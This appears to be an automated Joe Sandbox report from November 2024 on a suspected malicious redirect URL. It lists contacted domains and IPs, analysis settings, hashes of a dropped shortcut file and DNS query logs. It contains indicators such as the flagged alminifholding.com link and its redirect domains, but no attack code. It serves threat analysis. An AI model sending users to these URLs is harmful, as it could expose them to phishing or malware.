https://lantern.roeye.com/track.php?	chromecache_265.2.dr, chromecache_276.2.dr	false	high
https://ib.adnxs.com/getuid?https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%2fappnexus%3fttd%3d1%26anid	chromecache_167.2.dr	false	high
https://ct.pinterest.com/stats/	chromecache_165.2.dr, chromecache_150.2.dr, chromecache_163.2.dr, chromecache_231.2.dr	false	high
https://cct.google/taggy/agent.js	chromecache_261.2.dr, chromecache_213.2.dr, chromecache_214.2.dr, chromecache_287.2.dr, chromecache_154.2.dr, chromecache_292.2.dr, chromecache_260.2.dr, chromecache_262.2.dr, chromecache_203.2.dr, chromecache_193.2.dr, chromecache_204.2.dr, chromecache_158.2.dr	false	high
https://adservice.google.com/ddm/fls/z/dc_pre=CLiMnODtyokDFWePgwcd3HorjA;src=8666735;type=count0;cat	chromecache_241.2.dr	false	high
https://www.etsy.com/sourcemaps/evergreenVendor/en-US/vesta_homepage/search_bubbles.a18c2a5238135251	chromecache_170.2.dr, chromecache_155.2.dr	false	high
https://dsum-sec.casalemedia.com/rum?cm_dsp_id=39&external_user_id=fd63d340-783d-4cb2-bfc1-23af0054f	chromecache_167.2.dr	false	high
https://www.etsy.com/ac/evergreenVendor/js/en-US/app-shell/globals/index.928893d8732f1f834782.js.LIC	chromecache_275.2.dr	false	high
https://developers.google.com/identity/gsi/web/guides/fedcm-migration	chromecache_171.2.dr, chromecache_199.2.dr	false	high
https://meet.google.com	chromecache_171.2.dr, chromecache_199.2.dr	false	high
https://cdn.usebutton.com/web-widgets/SmsCollectionV1.html	chromecache_288.2.dr, chromecache_259.2.dr	false	high
https://insight.adsrvr.org/track/up	chromecache_241.2.dr	false	high
https://pixel.rubiconproject.com/tap.php?v=8981&nid=2307&put=fd63d340-783d-4cb2-bfc1-23af0054f694&gd	chromecache_167.2.dr	false	high
https://www.etsy.com/ac/evergreenVendor/js/en-US/etsy_libs.6f2bc648a336d3e52761.js.LICENSE	chromecache_270.2.dr, chromecache_224.2.dr	false	high
https://www.pinterest.com	chromecache_254.2.dr	false	high
https://developers.google.com/identity/gsi/web/guides/fedcm-migration?s=dc#cross_origin)	chromecache_171.2.dr, chromecache_199.2.dr	false	high
https://web.usebutton.com	chromecache_288.2.dr, chromecache_259.2.dr	false	high
https://googleads.g.doubleclick.net	chromecache_158.2.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
151.101.0.84	prod.pinterest.global.map.fastly.net	United States	54113	FASTLYUS	false
142.250.185.102	ad.doubleclick.net	United States	15169	GOOGLEUS	false
3.69.189.41	cdn.w55c.net	United States	16509	AMAZON-02US	false
151.101.128.84	unknown	United States	54113	FASTLYUS	false
66.102.1.155	stats.g.doubleclick.net	United States	15169	GOOGLEUS	false
54.220.133.235	unknown	United States	16509	AMAZON-02US	false
151.101.66.137	unknown	United States	54113	FASTLYUS	false
54.154.99.96	alb-ireland-ext-ingress-group-474278744.eu-west-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false
142.250.184.226	td.doubleclick.net	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
95.101.111.153	unknown	European Union	12956	TELEFONICATELXIUSES	false
142.250.184.228	unknown	United States	15169	GOOGLEUS	false
198.47.127.205	pug-ams-bc.pubmnet.com	United States	62713	AS-PUBMATICUS	false
3.67.102.20	tag-terraform-elb-1705565586.eu-central-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false
69.49.245.172	alminifholding.com	United States	46606	UNIFIEDLAYER-AS-1US	false
157.240.0.35	star-mini.c10r.facebook.com	United States	32934	FACEBOOKUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.21.27.248	pixel.streetmetrics.io	United States	13335	CLOUDFLARENETUS	false
104.18.36.155	dsum-sec.casalemedia.com	United States	13335	CLOUDFLARENETUS	false
172.217.18.2	adservice.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	rh.capriciou.com	European Union	13335	CLOUDFLARENETUS	false
142.250.185.230	dart.l.doubleclick.net	United States	15169	GOOGLEUS	false
216.58.212.162	googleads.g.doubleclick.net	United States	15169	GOOGLEUS	false
54.194.149.149	lantern.roeye.com	United States	16509	AMAZON-02US	false
172.217.16.194	cm.g.doubleclick.net	United States	15169	GOOGLEUS	false
52.223.40.198	insight.adsrvr.org	United States	8987	AMAZONEXPANSIONGB	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
143.204.215.118	d2pbcviywxotf2.cloudfront.net	United States	16509	AMAZON-02US	false
172.217.16.198	unknown	United States	15169	GOOGLEUS	false
172.217.18.100	unknown	United States	15169	GOOGLEUS	false
151.101.129.224	etsy.map.fastly.net	United States	54113	FASTLYUS	false
18.239.94.74	unknown	United States	16509	AMAZON-02US	false
35.214.136.108	user-data-eu.bidswitch.net	United States	19527	GOOGLE-2US	false
216.58.212.164	unknown	United States	15169	GOOGLEUS	false
18.239.67.100	dg2iu7dxxehbo.cloudfront.net	United States	16509	AMAZON-02US	false
18.172.103.101	unknown	United States	3	MIT-GATEWAYSUS	false
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.64.84	dualstack.pinterest.map.fastly.net	United States	54113	FASTLYUS	false
99.86.4.2	web.btncdn.com	United States	16509	AMAZON-02US	false
172.64.151.101	unknown	United States	13335	CLOUDFLARENETUS	false
3.165.190.67	unknown	United States	16509	AMAZON-02US	false
142.250.181.238	google.com	United States	15169	GOOGLEUS	false
172.67.143.206	unknown	United States	13335	CLOUDFLARENETUS	false
150.171.28.10	ax-0001.ax-msedge.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
104.17.24.14	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.1.224	unknown	United States	54113	FASTLYUS	false
216.239.36.181	analytics-alv.google.com	United States	15169	GOOGLEUS	false
142.250.186.162	unknown	United States	15169	GOOGLEUS	false
142.250.185.132	www.google.com	United States	15169	GOOGLEUS	false
151.101.65.224	unknown	United States	54113	FASTLYUS	false
35.186.224.24	edge-web.dual-gslb.spotify.com	United States	15169	GOOGLEUS	false
185.89.210.90	ib.anycast.adnxs.com	Germany	29990	ASN-APPNEXUS	false
13.227.219.53	lantern.roeyecdn.com	United States	16509	AMAZON-02US	false
142.250.185.130	unknown	United States	15169	GOOGLEUS	false
188.114.96.3	vzfk6vqaoyt1ogzrbn8cfpyijhdyeg3w9aipyubaquurdytz2nlu4zqaku.trantleamag.com	European Union	13335	CLOUDFLARENETUS	false
95.101.111.166	trkn.us	European Union	12956	TELEFONICATELXIUSES	false
35.244.142.80	cdn.pdst.fm	United States	15169	GOOGLEUS	false
52.58.247.169	unknown	United States	16509	AMAZON-02US	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1551493
Start date and time:	2024-11-07 19:30:58 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://alminifholding.com/res444.php?4-68747470733a2f2f52682e636170726963696f752e636f6d2f5a685a572f
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal48.win@36/249@152/61

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.67, 172.217.18.14, 64.233.184.84, 34.104.35.123, 52.149.20.212, 93.184.221.240, 192.229.221.95, 40.69.42.241, 142.250.184.200, 142.250.186.168, 172.217.23.106, 142.250.185.170, 142.250.186.74, 142.250.186.42, 142.250.185.106, 172.217.18.10, 216.58.206.74, 142.250.185.74, 142.250.181.234, 142.250.184.234, 142.250.186.138, 172.217.16.202, 142.250.184.202, 142.250.186.106, 142.250.185.138, 216.58.206.42, 142.250.186.104, 2.18.64.29, 2.18.64.33, 2.18.64.11, 2.18.64.6, 2.18.64.26, 2.18.64.21, 2.18.64.16, 2.18.64.14, 2.18.64.15, 151.101.130.132, 151.101.66.132, 151.101.2.132, 151.101.194.132, 66.102.1.84, 142.250.186.66, 142.251.168.84, 2.18.64.9, 2.18.64.4, 2.18.64.34, 2.18.64.31, 2.18.64.8, 2.18.64.24, 2.18.64.10, 74.125.133.84, 216.58.206.66, 69.173.144.138, 69.173.144.139, 69.173.144.165, 216.58.212.131
Excluded domains from analysis (whitelisted): www.googleadservices.com, j.sni.global.fastly.net, pixel.rubiconproject.net.akadns.net, slscr.update.microsoft.com, otelrules.afd.azureedge.net, clientservices.googleapis.com, wu.azureedge.net, clients2.google.com, ocsp.digicert.com, www.googletagmanager.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, 2-01-37d2-0018.cdx.cedexis.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, bat.bing.com, update.googleapis.com, analytics.tiktok.com.edgekey.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, 2-01-37d2-0020.cdx.cedexis.net, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, wu.ec.azureedge.net, e35058.a.akamaiedge.net, ctldl.windowsupdate.com, i.etsystatic.com-sbd.edgesuite.net, fe3cr.delivery.mp.microsoft.com, www.pinterest.com.edgekey.net, fe3.delivery.mp.
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://alminifholding.com/res444.php?4-68747470733a2f2f52682e636170726963696f752e636f6d2f5a685a572f

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 7 17:31:51 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.973264901992081
Encrypted:	false
SSDEEP:	48:87VdUTYAoH+idAKZdA19ehwiZUklqehEJy+3:8AP5/y
MD5:	A33EFF5CFB2024DDDAAAAFAD577538DE
SHA1:	5229D379045F956A56A60E47F94CD67BF10679DC
SHA-256:	B62199ECEE8D0AA450F6D49047F56254D3FD77A94F467F67D622A64BD566AD1E
SHA-512:	438EB62225B4A2323D4033CC143A113FBEBA7D383EBD82FA2878C4E994E371D4EAB6ADE073C10A2627BB95177A01515252457F699D8C733E9A7611216B61DF9D
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....e..OC1..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IgY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VgY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VgY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VgY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VgY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............x......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 7, 2024 19:31:51.640144110 CET	192.168.2.5	1.1.1.1	0x9710	Standard query (0)	alminifholding.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:31:51.640794039 CET	192.168.2.5	1.1.1.1	0xdf13	Standard query (0)	alminifholding.com	65	IN (0x0001)	false
Nov 7, 2024 19:31:52.540604115 CET	192.168.2.5	1.1.1.1	0x17b6	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:31:52.540760040 CET	192.168.2.5	1.1.1.1	0x9e5a	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Nov 7, 2024 19:31:54.637085915 CET	192.168.2.5	1.1.1.1	0xd65f	Standard query (0)	rh.capriciou.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:31:54.641621113 CET	192.168.2.5	1.1.1.1	0x6bcf	Standard query (0)	rh.capriciou.com	65	IN (0x0001)	false
Nov 7, 2024 19:31:54.648612022 CET	192.168.2.5	1.1.1.1	0xb646	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:31:54.649358034 CET	192.168.2.5	1.1.1.1	0xca17	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 7, 2024 19:31:54.694025040 CET	192.168.2.5	1.1.1.1	0x9ecb	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:31:54.694291115 CET	192.168.2.5	1.1.1.1	0x5edf	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Nov 7, 2024 19:31:58.068021059 CET	192.168.2.5	1.1.1.1	0x9434	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:31:58.071530104 CET	192.168.2.5	1.1.1.1	0xea2a	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Nov 7, 2024 19:31:58.074032068 CET	192.168.2.5	1.1.1.1	0x5200	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:31:58.074388981 CET	192.168.2.5	1.1.1.1	0x474f	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Nov 7, 2024 19:31:58.076203108 CET	192.168.2.5	1.1.1.1	0x4627	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:31:58.076631069 CET	192.168.2.5	1.1.1.1	0x9c33	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Nov 7, 2024 19:31:59.071254969 CET	192.168.2.5	1.1.1.1	0x69fb	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:31:59.071387053 CET	192.168.2.5	1.1.1.1	0x1890	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:00.874963045 CET	192.168.2.5	1.1.1.1	0xa4a1	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:00.876204014 CET	192.168.2.5	1.1.1.1	0xc113	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:00.892915964 CET	192.168.2.5	1.1.1.1	0xd01a	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:00.893273115 CET	192.168.2.5	1.1.1.1	0x678c	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:03.375783920 CET	192.168.2.5	1.1.1.1	0x6efd	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:03.376271009 CET	192.168.2.5	1.1.1.1	0x96d6	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:28.165476084 CET	192.168.2.5	1.1.1.1	0xe4f3	Standard query (0)	vzfk6vqaoyt1ogzrbn8cfpyijhdyeg3w9aipyubaquurdytz2nlu4zqaku.trantleamag.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:28.165631056 CET	192.168.2.5	1.1.1.1	0x96f9	Standard query (0)	vzfk6vqaoyt1ogzrbn8cfpyijhdyeg3w9aipyubaquurdytz2nlu4zqaku.trantleamag.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:30.705255032 CET	192.168.2.5	1.1.1.1	0x760b	Standard query (0)	www.etsy.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:30.708234072 CET	192.168.2.5	1.1.1.1	0xf7ce	Standard query (0)	www.etsy.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:30.722903967 CET	192.168.2.5	1.1.1.1	0x7f37	Standard query (0)	vzfk6vqaoyt1ogzrbn8cfpyijhdyeg3w9aipyubaquurdytz2nlu4zqaku.trantleamag.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:30.723994017 CET	192.168.2.5	1.1.1.1	0x9df4	Standard query (0)	vzfk6vqaoyt1ogzrbn8cfpyijhdyeg3w9aipyubaquurdytz2nlu4zqaku.trantleamag.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:32.175519943 CET	192.168.2.5	1.1.1.1	0xfb4e	Standard query (0)	i.etsystatic.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:32.176000118 CET	192.168.2.5	1.1.1.1	0x16ea	Standard query (0)	i.etsystatic.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:33.359388113 CET	192.168.2.5	1.1.1.1	0x7bb	Standard query (0)	i.etsystatic.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:33.359523058 CET	192.168.2.5	1.1.1.1	0xd7af	Standard query (0)	i.etsystatic.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:34.399147034 CET	192.168.2.5	1.1.1.1	0x8eb9	Standard query (0)	www.etsy.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:34.399349928 CET	192.168.2.5	1.1.1.1	0x9f92	Standard query (0)	www.etsy.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:35.992774010 CET	192.168.2.5	1.1.1.1	0x7690	Standard query (0)	www.dwin1.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:35.992917061 CET	192.168.2.5	1.1.1.1	0xc403	Standard query (0)	www.dwin1.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:36.094405890 CET	192.168.2.5	1.1.1.1	0xf8bc	Standard query (0)	trkn.us	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:36.094743967 CET	192.168.2.5	1.1.1.1	0x13da	Standard query (0)	trkn.us	65	IN (0x0001)	false
Nov 7, 2024 19:32:36.107672930 CET	192.168.2.5	1.1.1.1	0x7de6	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:36.107841015 CET	192.168.2.5	1.1.1.1	0xb7a2	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:36.227147102 CET	192.168.2.5	1.1.1.1	0x821e	Standard query (0)	s.pinimg.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:36.227468014 CET	192.168.2.5	1.1.1.1	0xe865	Standard query (0)	s.pinimg.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:37.597414017 CET	192.168.2.5	1.1.1.1	0x4c7e	Standard query (0)	web.btncdn.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:37.598190069 CET	192.168.2.5	1.1.1.1	0x83cc	Standard query (0)	web.btncdn.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:37.610925913 CET	192.168.2.5	1.1.1.1	0xe899	Standard query (0)	resources.xg4ken.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:37.611318111 CET	192.168.2.5	1.1.1.1	0x5168	Standard query (0)	resources.xg4ken.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:37.625649929 CET	192.168.2.5	1.1.1.1	0x3f6c	Standard query (0)	cdn.pdst.fm	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:37.626058102 CET	192.168.2.5	1.1.1.1	0x5903	Standard query (0)	cdn.pdst.fm	65	IN (0x0001)	false
Nov 7, 2024 19:32:37.633407116 CET	192.168.2.5	1.1.1.1	0x2f37	Standard query (0)	analytics.tiktok.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:37.633539915 CET	192.168.2.5	1.1.1.1	0x99de	Standard query (0)	analytics.tiktok.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:37.635773897 CET	192.168.2.5	1.1.1.1	0x361f	Standard query (0)	pt.ispot.tv	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:37.636204958 CET	192.168.2.5	1.1.1.1	0xe878	Standard query (0)	pt.ispot.tv	65	IN (0x0001)	false
Nov 7, 2024 19:32:38.668482065 CET	192.168.2.5	1.1.1.1	0xa2a3	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:38.670749903 CET	192.168.2.5	1.1.1.1	0x1aa8	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:39.097889900 CET	192.168.2.5	1.1.1.1	0x928e	Standard query (0)	analytics.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:39.098378897 CET	192.168.2.5	1.1.1.1	0xc114	Standard query (0)	analytics.google.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:39.471163034 CET	192.168.2.5	1.1.1.1	0xf7a0	Standard query (0)	td.doubleclick.net	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:39.471530914 CET	192.168.2.5	1.1.1.1	0xeb20	Standard query (0)	td.doubleclick.net	65	IN (0x0001)	false
Nov 7, 2024 19:32:39.519506931 CET	192.168.2.5	1.1.1.1	0x79fe	Standard query (0)	8666735.fls.doubleclick.net	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:39.529647112 CET	192.168.2.5	1.1.1.1	0xf1c	Standard query (0)	8666735.fls.doubleclick.net	65	IN (0x0001)	false
Nov 7, 2024 19:32:39.531434059 CET	192.168.2.5	1.1.1.1	0x37e0	Standard query (0)	9910951.fls.doubleclick.net	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:39.532011032 CET	192.168.2.5	1.1.1.1	0x3cea	Standard query (0)	9910951.fls.doubleclick.net	65	IN (0x0001)	false
Nov 7, 2024 19:32:39.715888977 CET	192.168.2.5	1.1.1.1	0xeab8	Standard query (0)	ad.doubleclick.net	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:39.716010094 CET	192.168.2.5	1.1.1.1	0xe580	Standard query (0)	ad.doubleclick.net	65	IN (0x0001)	false
Nov 7, 2024 19:32:39.722456932 CET	192.168.2.5	1.1.1.1	0x2b8e	Standard query (0)	lantern.roeyecdn.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:39.722865105 CET	192.168.2.5	1.1.1.1	0x96ce	Standard query (0)	lantern.roeyecdn.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:40.459057093 CET	192.168.2.5	1.1.1.1	0x54e3	Standard query (0)	s.pinimg.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:40.460524082 CET	192.168.2.5	1.1.1.1	0x5c7b	Standard query (0)	s.pinimg.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:40.464030981 CET	192.168.2.5	1.1.1.1	0x6cbd	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:40.465229034 CET	192.168.2.5	1.1.1.1	0x66f3	Standard query (0)	google.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:40.466043949 CET	192.168.2.5	1.1.1.1	0xc22f	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:40.466758966 CET	192.168.2.5	1.1.1.1	0x468	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:40.555850983 CET	192.168.2.5	1.1.1.1	0x29d4	Standard query (0)	pixels.spotify.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:40.557625055 CET	192.168.2.5	1.1.1.1	0xbc88	Standard query (0)	pixels.spotify.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:40.677473068 CET	192.168.2.5	1.1.1.1	0xc3b5	Standard query (0)	googleads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:40.677782059 CET	192.168.2.5	1.1.1.1	0xf0a	Standard query (0)	googleads.g.doubleclick.net	65	IN (0x0001)	false
Nov 7, 2024 19:32:40.680074930 CET	192.168.2.5	1.1.1.1	0x5d78	Standard query (0)	ct.pinterest.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:40.682369947 CET	192.168.2.5	1.1.1.1	0xf0fb	Standard query (0)	ct.pinterest.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:40.969599009 CET	192.168.2.5	1.1.1.1	0x9aa8	Standard query (0)	stats.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:40.970000029 CET	192.168.2.5	1.1.1.1	0x44b1	Standard query (0)	stats.g.doubleclick.net	65	IN (0x0001)	false
Nov 7, 2024 19:32:41.279576063 CET	192.168.2.5	1.1.1.1	0x6b9d	Standard query (0)	lantern.roeye.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:41.280328989 CET	192.168.2.5	1.1.1.1	0xc69c	Standard query (0)	lantern.roeye.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:41.993264914 CET	192.168.2.5	1.1.1.1	0xd73d	Standard query (0)	www.dwin1.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:41.994879961 CET	192.168.2.5	1.1.1.1	0x9118	Standard query (0)	www.dwin1.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:41.998627901 CET	192.168.2.5	1.1.1.1	0x7215	Standard query (0)	pt.ispot.tv	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:41.998933077 CET	192.168.2.5	1.1.1.1	0x902d	Standard query (0)	pt.ispot.tv	65	IN (0x0001)	false
Nov 7, 2024 19:32:41.999567032 CET	192.168.2.5	1.1.1.1	0x8487	Standard query (0)	analytics.tiktok.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:42.000572920 CET	192.168.2.5	1.1.1.1	0x1530	Standard query (0)	analytics.tiktok.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:42.181652069 CET	192.168.2.5	1.1.1.1	0x3005	Standard query (0)	pixel.streetmetrics.io	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:42.182149887 CET	192.168.2.5	1.1.1.1	0x5163	Standard query (0)	pixel.streetmetrics.io	65	IN (0x0001)	false
Nov 7, 2024 19:32:42.183325052 CET	192.168.2.5	1.1.1.1	0xd16f	Standard query (0)	tags.w55c.net	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:42.183921099 CET	192.168.2.5	1.1.1.1	0x5d10	Standard query (0)	tags.w55c.net	65	IN (0x0001)	false
Nov 7, 2024 19:32:42.184920073 CET	192.168.2.5	1.1.1.1	0x209	Standard query (0)	adservice.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:42.185324907 CET	192.168.2.5	1.1.1.1	0x83b	Standard query (0)	adservice.google.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:42.186402082 CET	192.168.2.5	1.1.1.1	0x5238	Standard query (0)	insight.adsrvr.org	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:42.186902046 CET	192.168.2.5	1.1.1.1	0x228	Standard query (0)	insight.adsrvr.org	65	IN (0x0001)	false
Nov 7, 2024 19:32:42.226705074 CET	192.168.2.5	1.1.1.1	0x1936	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:42.226912022 CET	192.168.2.5	1.1.1.1	0x2711	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:42.252922058 CET	192.168.2.5	1.1.1.1	0x53cd	Standard query (0)	resources.xg4ken.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:42.253099918 CET	192.168.2.5	1.1.1.1	0x6f62	Standard query (0)	resources.xg4ken.com	65	IN (0x0001)	false
Nov 7, 2024 19:32:42.256269932 CET	192.168.2.5	1.1.1.1	0xcda5	Standard query (0)	cdn.pdst.fm	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:42.256525993 CET	192.168.2.5	1.1.1.1	0x7b93	Standard query (0)	cdn.pdst.fm	65	IN (0x0001)	false
Nov 7, 2024 19:32:42.258090973 CET	192.168.2.5	1.1.1.1	0x7af2	Standard query (0)	trkn.us	A (IP address)	IN (0x0001)	false
Nov 7, 2024 19:32:42.258294106 CET	192.168.2.5	1.1.1.1	0x74dd	Standard query (0)	trkn.us	65	IN (0x0001)	false
